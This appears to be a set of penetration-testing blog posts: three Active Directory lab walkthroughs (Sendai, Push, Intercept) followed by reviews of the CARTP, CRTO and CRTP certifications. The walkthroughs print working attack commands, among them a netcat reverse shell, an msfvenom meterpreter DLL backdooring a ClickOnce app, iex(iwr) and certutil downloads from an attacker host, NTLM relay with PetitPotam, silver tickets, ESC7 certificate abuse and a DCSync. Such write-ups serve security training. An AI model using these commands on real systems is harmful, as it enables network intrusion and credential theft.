Initial Access

Starting off, I added the following entries to the /etc/hosts file:

10.10.64.43 sendai.vl
10.10.64.43 dc.sendai.vl

Started of with an initial nmap scan which revealed the following information:

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-03-14 18:08:52Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sendai.vl0., Site: Default-First-Site-Name)
443/tcp  open  ssl/http      Microsoft IIS httpd 10.0
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: sendai.vl0., Site: Default-First-Site-Name)
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sendai.vl0., Site: Default-First-Site-Name)
3389/tcp open  ms-wbt-server Microsoft Terminal Services

Using smbclient I listed the shares and checked if there any shares which are open for unauthenticated use:

smbclient -L \\\\DC.sendai.vl\\
Password for [WORKGROUP\root]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        config          Disk
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        sendai          Disk      company share
        SYSVOL          Disk      Logon server share
        Users           Disk

Upon checking the Sendai share I found a txt file mentioning that a penetration test discovered numerous weak passwords and recommending changes as soon as possible. Also in the transfers folder, I found the UserProfiles for a few users within the domain:

 smb: \transfer\> ls
  .                                   D        0  Tue Jul 11 15:00:20 2023
  ..                                  D        0  Tue Jul 18 19:31:04 2023
  anthony.smith                       D        0  Tue Jul 11 14:59:50 2023
  clifford.davey                      D        0  Tue Jul 11 15:00:06 2023
  elliot.yates                        D        0  Tue Jul 11 14:59:26 2023
  lisa.williams                       D        0  Tue Jul 11 14:59:34 2023
  susan.harper                        D        0  Tue Jul 11 14:59:39 2023
  temp                                D        0  Tue Jul 11 15:00:16 2023
  thomas.powell                       D        0  Tue Jul 11 14:59:45 2023

I saved the usernames to a file called users.txt and tried common passwords such as Sendai01, Summer2024, etc. This method allowed me to recover the password for the user lisa.williams:

SMB         10.10.64.43     445    DC               [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:sendai.vl) (signing:True) (SMBv1:False)
SMB         10.10.64.43     445    DC               [-] sendai.vl\lisa.williams:[REDACTED] STATUS_PASSWORD_MUST_CHANGE

Getting access to mgtsvc$

I reset the password for the user with the smbpasswd tool:

smbpasswd -U lisa.williams -r sendai.vl

Now that we have valid credentials I ran the remote python bloodhound ingestor to enumerate the environment:

bloodhound.py --zip -c All -d sendai.vl -u lisa.williams -p P@ssw0rd -dc DC.sendai.vl -ns 10.10.98.198

Inspecting the Bloodhound output and further enumerating the domain revealed the following path:

• Lisa.willams has GenericAll on the ADMSVC group
• The ADMSVC group can read the gMSA password of the mgtsvc$ user’

We can abuse this by adding the lisa.williams user to the ADMSVC group using pth-net:

pth-net rpc group addmem "admsvc" lisa.williams -U sendai.vl/lisa.williams -S 10.10.64.43

We can exploit this by adding the lisa.williams user to the ADMSVC group using pth-net:

gMSADumper.py -u 'lisa.williams' -p 'P@ssw0rd' -d 'sendai.vl'

Using evil-winrm we can get a shell on the target:

evil-winrm -i 10.10.98.198 -u 'mgtsvc$' -H [REDACTED]

Crafting silver tickets

Now that we have initial access on the DC I enumerated the system a bit. I found that in the C:\config folder there is a file called .sqlconfig which contains the password for the sqlsvc user. Since this user is the service account for the MSSQL service we can forge a silver ticket for a privileged user to escalate privileges. To do this I first created a proxy using chisel which allowes me to interact with the MSSQL service which is running locally. On the target machine:

cmd /c C:\temp\chisel.exe client [ATTACKER]:8001 R:1080:socks

On the attacker machine:

chisel server -p 8001 --reverse

Next I created a silver ticket using the ticketer.py tool from impacket for the Administrator and imported the kerberos ticket:

ticketer.py -spn MSSQL/dc.sendai.vl -domain-sid S-1-5-21-3085872742-570972823-736764132 -nthash [REDACTED] -dc-ip dc.sendai.vl Administrator -domain sendai.vl
export KRB5CCNAME=Administrator.ccache

Using this ticket we connect over the proxy to the MSSQL service as Administrator:

proxychains -q mssqlclient.py dc.sendai.vl -k

Since we have administrative rights we can enable xp_cmdshell so we can execute command on the system:

sp_configure 'show advanced options', '1'
sp_configure 'xp_cmdshell', '1'
RECONFIGURE

Escalating to SYSTEM

Since we are the sqlsvc$ account we usually have SeImpersonate privileges which allows us to elevate to SYSTEM. We can confirm this by using:

whoami /privileged

This confirmed that we indeed have SeImpersonate privileges. Using Printspoofer and netcat I was able to get a reverse shell:

cmd /c C:\temp\PrintSpoofer.exe -c "c:\Temp\nc.exe 10.8.0.49 1337 -e cmd"

Valid Domain Credentials

Starting off I added the following to the /etc/hosts file:

10.10.161.85 push.vl
10.10.161.85 DC01.push.vl
10.10.161.86 MS01.push.vl

After my initial nmap scans I noticed that anonymous FTP access is enabled on the DC01 machine. Lets try to access it and see if we can find any interesting information:

ftp MS01.push.vl

There is any interesting file called “.git-credentials” let’s download the file and see if it contains any interesting information.

We see that the file contains credentials for github.com, however it could be that these credentials are being re-use within the active directory domain. Using netexec I confirmed that we indeed have a valid Domain Account:

Domain Enumeration

Now that we have a valid domain account let’s the remote BloodHound integestor to check if the user has any interesting permissions:

bloodhound.py -d push.vl -v --zip -c All -dc DC01.push.vl -ns 10.10.161.85 -u 'olivia.wood' -p 'DeployTrust07' --dns-timeout 10

I loaded the zip into bloodhound and performed some enumeration. Sadly I didn’t find anything of interest thus I moved on to enumerate if the user can access any interesting shares. After enumerate the SMB shares on the MS01 machine I found out we can access the wwwroot share:

smbclient.py "push.vl"/"olivia.wood":"DeployTrust07"@"10.10.161.86"

Now that we have accessed the share lets see the files that we can list. We quickly see that there is something called “SelfService.application” and a setup file. Also a “last-run.txt” file which might be of interest, I downloaded the file and checked the contents. This only revealed that the application’s last execution what about 1 minute ago. This tells us that the applications is actively being used in which we might need to hijack the execution flow or create a backdoor. To do this I uploaded all the application files to a Windows VM to analyze it further.

Now that we have all the files on our Windows machine I tried to run the setup.exe file which gave me the following error:

I fixed this by running a HTTP server on port 80 and adding the ms01.push.vl in my hosts file like so:

If I now visit ms01.push.vl which basically runs on my localhost I am greeting with the following page:

Looking at this I noticed the text “ClickOnce Resources”. When searching for ClickOnce I stumbled on a blog from Istan Toth which uses ClickOnce .NET Apps for Initial Access.

Backdooring ClickOnce for Initial Access on MS01

After reading up on the topic there are two ways we can do this. One is by finding a suitable location to backdoor te assembly, or just replacing a DLL. If we replace a DLL with a malcious one we need to make it meet the following prerequisites:

1. Replace the digest hashes in the manifest file so the DLL is trusted
2. Remove invalid signatures from the modified manifest files.

The DLL that we will hijack is the “SelfService.dll.deploy” DLL. Using msfvenom I generated a malicous DLL which we’ll replace in the application:

msfvenom -p windows/x64/meterpreter/reverse_tcp -f dll LHOST=10.8.0.49 LPORT=8080 > SelfService.dll.deploy

Now that we have our malicous DLL lets calculate the digest hash so we can replace it in the SelfService.Application

openssl dgst -binary -sha256 SelfService.dll.deploy | openssl enc -base64

And modify the hash and the file of the DLL in the SelfService.dll.manifest file like so:

If the manifest file was signed, it’ll be invalid because we made some changes, so the signature needs to be removed. First I deleted the “publisherIdentity” and the “Signature elements at the end. And also changed the publicKeyToken attribute to “0000000000000000” (16 zeroes) in the “asmv1:assemblyIdentity” tag at the top. This ensures that the signature won’t be checked and won’t cause an issue if it is missing.

Now we have change the DLL manifest file which is getting referenced by the .application manifest. This means that we also need to recalculate the .application manifest using the same method as used before:

openssl dgst -binary -sha256 SelfService.dll.manifest | openssl enc -base64

Now we can once again replace the DigestValue with the new value, replace the publicKeyToken value to 16 zeros and also update the file size.

Now that we have our backdoored ClickOnce application ready we can upload it on the share in hope that we receive a reverse connection. I uploaded the backdoored ClickOnce application and ran my multihandler in hopes to receive a reverse connection. After a minute or so I received my shell as the user kelly.hill.

Domain Privilege Escalation

If we look at the privileges of the user kelly.hill we can see in bloodhound that the user has AllExtendedRights on the MS01 machine

Also MachineAccountQuota is set to “10” which means that we are able to do a Resource Based Constrained Delegation (RBCD) attack.

I loaded Powermad in memory and created a new machine account as follows:

iex(iwr http://10.8.0.49/Powermad.ps1 -usebasicparsing)
New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'P@ssw0rd123!' -AsPlainText -Force)

Next I loaded PowerView in memory to obtain the Security Identifier (SID) of the newly created computer account:

iex(iwr http://10.8.0.49/PowerView.ps1 -usebasicparsing)
Get-DomainComputer

Now we need to build a generic ACE with the attacker-added computer SID as the principal, and get the binary bytes for the new DACL/ACE:

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

However I got some errors while using this command so I instead used the StandIn project from FuzzySecurity. First transfered the binary using certutil:

 certutil -urlcache -f http://10.8.0.49/StandIn_v13_Net35.exe StandIn_v13_Net35.exe

And succesfully added the msDS-AllowedToActOnBehalfOfOtherIdentity object to the target computer with StandIn:

cmd /c C:\temp\StandIn_v13_Net35.exe --computer "MS01" --sid "S-1-5-21-1451457175-172047642-1427519037-3602"

Next up is transferring the Rubeus binary to the victim machine using certutil:

certutil -urlcache -f http://10.8.0.49/Rubeus.exe Rubeus.exe

Now we need to use Rubeus to first hash the plaintext password into RC4_HMAC form.

cmd /c C:\temp\Rubeus.exe hash /password:P@ssw0rd123!

Finally we can use Rubeus’ s4u module to get a service ticket for the service name (sname) we want to “impersonate”. I used the following Rubeus command to do this:

cmd /c C:\temp\Rubeus.exe s4u /user:attackersystem$ /rc4:7DFA0531D73101CA080C7379A9BFF1C7 /impersonateuser:Administrator /msdsspn:CIFS/MS01.push.vl /nowrap

Finally to use this ticket from a Linux host the ticket must be converted from kirbi to ccache format and import via an environment variable. This first step is to convert it from base64encoded kirbi format to ccache format. This can be done with ticketConverter.py from the impacket toolkit:

cat ticket.b64 | base64 -d > ticket
ticketConverter.py ticket ticket.ccache

Next we can import to ticket into the corresponding evironment variable and use wmiexec.py to gain access as the Domain Administrator

export KRB5CCNAME=ticket.ccache
wmiexec.py -k -no-pass administrator@MS01.push.vl -shell-type powershell

One thing I noticed during Domain Enumeration is that the Certificate Authority (CA) is installed on the MS01 machine. Because we are now Domain Admin we can forge a CA Certificate which we can then use to move laterally to the DC. Using SharpDPAPI I extracted the certificates:

cmd /c C:\temp\SharpDPAPI.exe certificates /machine

Both the private key and the certificate are displayed in the console.

The extracted private key and certificate can be written in to a file with the .PEM file extension. Executing the following can convert the certificate into a usable .PFX format allow to be used for authentication:

Finally using ceripy can forge a certificate for any domain user using the certicicate for authentication. Executing the following will create a fake certificate for the “DC01$” machine account which we will sign by the private key of the CA certificate:

certipy forge -ca-pfx cert.pfx -upn administrator@push.vl -subject 'CN=Administrator,CN=Users,DC=PUSH,DC=VL'

Next I tried to use the PFX to authenticate, however I was greeted with the following error:

This means that PKINIT is not supported, however we can bypass this by using PassTheCert from AlmondOffSec. First extract the key and cert from the pfx using certipy:

certipy cert -pfx administrator_forged.pfx -nokey -out cert.crt
certipy cert -pfx administrator_forged.pfx -nocert -out cert.key

Now we can use the PassTheCert python script to for elevate privileges for the “olivia.wood” user, so it can DCSync.

passthecert.py -action modify_user -crt cert.crt -key cert.key -domain push.vl -dc-ip 10.10.161.85 -target olivia.wood -elevate

Finally we DCSync using secretsdump to get access to the NTLM hashes on the Domain Controller:

secretsdump.py PUSH.vl/olivia.wood:'DeployTrust07'@DC01.push.vl

And finally using Netexec we confirm we are Domain Admin and obtain the root flag

nxc smb DC01.push.vl -u Administrator -H ******************* -x "type C:\Users\Administrator\desktop\root.txt"

Initial Access

Starting off I added the following to the /etc/hosts file:

10.10.185.69 intercept.vl
10.10.185.69 DC01.intercept.vl
10.10.185.70 WS01.intercept.vl

I started off with some nmap scans and quickly noticed that it was possible to access the dev share using an SMB null session.

Using this, I entered the “dev” share and looked through the directories for interesting information.

Something that stood out to me is that there is a “readme.txt” file which says that the share is checked regularly for updates. This immediately made me think of “coerced authentication” being a possibility. We can craft a malicious .URL file that triggers an authentication request to our SMB listener when someone accesses the share. We can then attempt to relay or crack the authentication request. I crafted the following .URL payload:

[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\10.8.0.49\%USERNAME%.icon
IconIndex=1

And uploaded it to the share using an smbclient session:

Next, I set up Responder with an SMB listener to capture the NTLMv2 hash of the Kathryn.Spencer Domain User:

Sadly, I can’t relay the connection to the Domain Controller because SMB Signing is enabled. However I always make sure to check this using netexec:

Despite SMB Signing being enabled by default on the Domain Controller, which prevents direct connection relaying, I decided to attempt cracking the hash with hashcat:

hashcat -a 0 -m 5600 hash.txt /opt/rockyou.txt

This successfully recovered the password which ended up being “Chocolate1”.

Domain Enumeration

Now that we have a valid Domain account we can enumerate the domain using bloodhound. Let’s run the python remote ingester to collect some data:

bloodhound.py -d intercept.vl -v --zip -c All -dc DC01.intercept.vl -ns 10.10.185.69 -u 'Kathryn.spencer' -p 'Chocolate1' --dns-timeout 10

The user Kathryn.Spencer doesn’t have any interesting outbound permissions.

I continued to enumerate the Domain and figured out that the MachineAccountQuota has the default setting of “10”.

And also figured out that the Domain Controller doesn’t have LDAP Signing enforced:

If the WebDAV service is also enabled we can perform an RBCD WebClient attack using coerced authentication such as PetitPotam. Let’s check if the WebDAV service is active using netexec:

RBCD WebClient Attack

Now that we know that the WebDAV service is active on WS01, LDAP Signing is disabled on the DC, and we can add machine accounts to the domain, we can abuse these conditions in combination with coerced authentication to escalate privileges. However, when relaying our coercion and add RBCD permissions to WS01 the authenticated connection has to originate from a trusted intranet zone. Luckily for us by default the “Authenticated Users” group can create child objects on the ADIDNS zone. Lets start off the attack by create a new A-record which points to our machine using dnstool.py:

dnstool.py -u 'intercept\kathryn.spencer' -p 'Chocolate1' -a add -r kali -d 10.8.0.49 10.10.185.69

Next is starting ntlmrelayx for relaying the coerced authentication:

ntlmrelayx.py -t ldaps://10.10.185.69 --delegate-access --http-port 8080 -smb2support

Finishing off, we coerce authenticated using PetitPotam to our created DNS record which is in trusted intranet zone which gets relayed to the Domain Controller to allow impersonation on WS01$ via S4U2Proxy. We can trigger the coercion using PetitPotam like so:

petitpotam.py -d "intercept.vl" -u "kathryn.spencer" -p "Chocolate1" kali@8080/a 10.10.185.70

And if we now take a look at ntlmrelayx we see that a new computer has been created which allows us the impersonate users via S4U2Proxy:

Next we request a TGT for the CIFS service as the Administrator on the WS01 computer using getST.py:

getST.py -spn cifs/WS01.intercept.vl -dc-ip 10.10.185.69 -impersonate administrator intercept.vl/PMZKVLGA$:'.Wpkn,gC7Xpd}9S'

Now we export the TGT in memory and run secretsdump.py to obtain login information.

export KRB5CCNAME=administrator@cifs_WS01.intercept.vl@INTERCEPT.VL.ccache 
secretsdump.py administrator@WS01.intercept.vl -k -no-pass

This reveals the password of the user Simon.Bowen. Lets check bloodhound if this user have any interesting permissions which we can abuse. Lookup at the output we can see that the user is member of the helpdesk groups which has GenericAll permissions on the ca-managers group.

Now lets run certipy to find if this group have any interesting permissions:

certipy find -username Simon.Bowen@intercept.vl -password 'b0OI_fHO859+Aw' -dc-ip 10.10.185.69

Looking at the output we see that the ca-managers group has ManageCa permission on the Certificate Authority which makes it vulnerable to ESC7

AD CS Misconfiguration (ESC7)

To be able to abuse ESC7 we first need to add Simon.Bowen to the ca-managers group. This is possible because the group that he is part of (helpdesk) has GenericAll permissions on the group. We can add Simon to the group using net rpc:

net rpc group addmem 'ca-managers' 'Simon.Bowen' -U intercept.vl/Simon.Bowen -S DC01.intercept.vl 

To verify the user has been succesfully added to the group I re-ran bloodhound and confirmed Simon.Bowen is now part of the ca-managers group:

Now that we have sufficient permissions we can perform the ESC7 attack on the AD CS. First I added myself the Managed Certificated access right by adding myself as a new officer:

 certipy ca -u Simon.Bowen -p 'b0OI_fHO859+Aw' -dc-ip 10.10.183.85 -ca intercept-DC01-CA -add-officer simon.bowen

Now we check if the SubCA template can be enabled on the CA using the -enable-template parameter. By default the SubCA template is enabled.

certipy ca -u Simon.Bowen -p 'b0OI_fHO859+Aw' -dc-ip 10.10.185.69 -ca intercept-DC01-CA -list-template

Now that we have all the prerequisites for this attack we can start by request a certificate based on the SubCA template. This request will be denied but we will save the private key and note down the request ID:

certipy req -u Simon.Bowen -p 'b0OI_fHO859+Aw' -dc-ip 10.10.185.69 -ca intercept-DC01-CA -template 'SubCA' -upn administrator@intercept.vl -target intercept.vl

Having the manage certificate rights we can validate the failed request since we have the key:

certipy ca -u Simon.Bowen -p 'b0OI_fHO859+Aw' -dc-ip 10.10.185.69 -ca 'intercept-DC01-CA' -issue-request 5

Now that the certificate is issued we can retrieve the administrator’s certificate:

certipy req -u Simon.Bowen -p 'b0OI_fHO859+Aw' -dc-ip 10.10.185.69 -ca 'intercept-DC01-CA' -target intercept.vl -retrieve 5

Now that we have a certificate of the administrator, we can use it to authenticate and retrieve the NT hash:

certipy auth -pfx administrator.pfx -dc-ip 10.10.185.69 -domain intercept.vl -username administrator

We can use this hash to gain access the the DC using netexec:

nxc smb DC01.intercept.vl -u Administrator -H ad95c338a6cc5729ae7390acbe0ca91f -x whoami

About the Course

The course itself was created and presented by Nikkil mittal on the new Altered Security platform which is quite liked. The interface is clean, easy-to-use and overall just straightforward.

The course itself consist of 52 video’s which basically goes through a powerpoint which contains up to around 300 slides. One thing I liked about the video’s is that Nikkil is not just going over the slides but also share his own experience on certain topics, and goes a bit out of scope which can give new interesting perspective.

The course starts of with some general information about Azure/AAD. What Azure is, what services does Azure have, subscription models and other basic information are provided in the first couple of video’s. After that Nikil introduces 4 “killchains” that during the course he’ll go through. These killchains consist of the following stages:

• Reconnaissance
• Initial Access
• Enumeration
• Privilege escalation
• Persistence
• Defense evasion
• Credential access
• Lateral movement
• Exfiltration

I really liked how these killchains where setup, it gave a lot more body to the course. Everything in the course was clearly explained, and I want to give a huge thanks to the support team for their super quick responses.

About the Exam

After studying for about three weeks, I took my exam on September 8, 2023. The exam had a total duration of 48 hours, with the first 24 hours for the lab and the next 24 hours for writing the report.

I started the exam around 9:00 AM and surprisingly found the final flag by 1:00 PM. I was initially puzzled by how quickly I found it and reached out to the support team for clarification. They confirmed that finding this flag was necessary to pass the exam.

Once I had the flag, I began writing my report. I was able to do this quickly because I had taken thorough notes and lots of screenshots, which I organized in Notion. I submitted my report to the support team at 7:35 PM. To my suprise, I received the news that I had passed the exam within two days!

The cover of my report:

Tips

Some tips I’ve used during my RTO exam:

• Before taking the CARTP course and exam, remember that there are no tools pre-installed in the exam VM. Make sure to download and install any necessary tools in advance.
• Take thorough notes, including all the commands you use, and ensure you understand the purpose and function of each command.
• During my exam, I encountered a situation that wasn’t covered directly in the course material. However, by applying logical thinking, I was able to find a solution.

So what’s next?

After passing the CARTP, I will most likely focus on completing school as quickly as possible. However, I will probably pursue the continuation of CRTO (which is CRTL) or attend the MalDev Academy afterward.

About the Course

The RTO course consists of several videos and slides presented by Zero-point Security, which includes a lab environment. Some of the things that are mentioned in the course:

• Setting up an engagement (Scoping, planning, RoE);
• Command & Control;
• Reconaissance and persistence;
• Lateral Movement;
• Data Protection API;
• Domain Dominance;
• Bypassing Defences;
• Extending Cobalt Strike.

About the Exam

The exam in my experience wasn’t that hard. It was a bit harder than the CRTP exam I did earlier but wasn’t anything special. Once you plan the exam, you receive a document with all the information you need to build your threat profile and additional information you need. The exam had a few bugs, which made it a bit harder. In the image below you see my scoreboard for the overall exam.

The great thing about the exam is that you have to build your threat profile, to simulate a real-life APT. And you have your build your own tools to bypass any security restrictions that may be in place. To pass the exam, you need to find 6/8 flags, without sending a rapport 😀

My Opinion

In my opinion, the course is great, however, if you don’t have a lot of experience with Active Directory I would suggest you start doing the CRTP first. The course was clear and easy to read through. I had no problems understanding any of the explained attacks or methodology. If you want to pass the RTO exam, you should familiarize yourself with everything in the course and you’ll be ready to take on the exam. It took me around 2-3 months of learning combined with a 4-5 day job.

Tips

Some tips I’ve used during my RTO exam:

• Build your threat profile, before starting the actual exam. This will save you a lot of time!
• Understand how you can build/modify your tools, so they won’t get caught.
• Take notes during the course, and create a cheat sheet. This will save you a lot of time. You can simply copy and paste commands into your beacons.

So what’s next?

After passing the CRTO course, I will now try and get my OSCP certification. I’ll try to keep you people up to date with my experiences with Offensive Security.

About the CRTP Course

The CRTP course consists of several videos presented by Nikhil Mittal, included with a lab environment and a PDF file. Some of the following topics were covered:

• AD Enumeration (Users, Groups, Computers, ACLs, GPOs, Permissions, etc..)
• Bypassing Defenses (AMSI, Constrained Language Mode, AV)
• Local/Domain Privilege Escalation
• Domain Persistence Techniques
• Cross Trust Attacks
• Abusing SQL server trusts
• Defending Active Directory

About the Exam

The exam is my experience is really fun! You can start the exam whenever you want. You should keep in mind that the support team is located in India and may have a different time zone, so they may have long response times. You will get 24 hours to exploit 5 machines that are all up to date. The only way to can exploit a machine is by using misconfigurations. After completing the exam you have another 48 hours to write a report which should have detailed steps on how you exploited the machines. I started my exam on 5 march, send my report on 6 March and on 10 March I received the good news that I successfully passed the CRTP! 🎉

The good thing about the exam is that it is not very CTF like, it could be a real-life scenario which in my opinion is a big plus. You can pass this exam using all the tools that are used throughout the course. Keep in mind that these tools are not pre-installed in the environment, you have to import them yourself. Despite being stuck on the exam for a few hours I think 24 hours is easily enough to pass the exam. Bloodhound is always your friend and has been my go-to in this exam! 🙃

My Opinion

In my opinion, the course is great, it is perfect for beginners with little to no knowledge of Active Directory. In the video Nikhil (the instructor) goes over the CRTP lab and gives a few learning objectives afterward. This concept worked well for me since it tests if you understand everything. If you understand all the videos and objectives you will be 100% able to pass the exam in one go. Another thing to note is that sometimes the material can be confusing because they overcomplicate things. I put some good resources at the end of the blog post. 👀

Tips

If you want to also get the CRTP certification below are some of my tips that helped me a lot during the exam.

• Creating a cheat sheet: Within the exam you will find yourself looking up command syntaxes every time. To save time create a list of the commands, so you can copy and paste them without looking up the entire thing every time.
• Prepare the reporting: With “Prepare the reporting” I mean that you should make a report template to your liking, and find a good screenshot tool. I use Greenshot. Preparing for this will prevent you from having to go back to the lab, take a screenshot and continue (If you still have access to it.. 😇)
• Get comfortable with the lab objectives: Everything that is mentioned in the course will come back in the lab objectives. This means if you understand every lab objective, what you’re exactly doing, and why you’re doing it. You can easily nail the exam.
• BloodHound: If you find yourself being stuck on the exam, you don’t know what the next step is. Answer is: BloodHound 💓. I’ve found myself being stuck on some parts within the exam which is completely normal. Especially the “help” function is really good since it tells you what to do.

Another good source of informatie is an official PentesterAcademy discord group I found. Instead of e-mailing the support team everytime you can also ask you questions here. Besides that anoter good website called ired.team helped my alot to understand certain attacking techniques.

Example of what the front page of my report looked like:

So what’s next?

Soo… after passing the CRTP exam, I am currently trying to get my hands on the eCTPX from eLearnSecurity. The eCPTX also focuses on Active Directory exploitation using Kali and C2 frameworks. I think I’ll be busy for quite some time with the eCPTX because of the ginormous amount of learning material and lab objectives. I’ll be posting on interesting topics of this certification once in a while.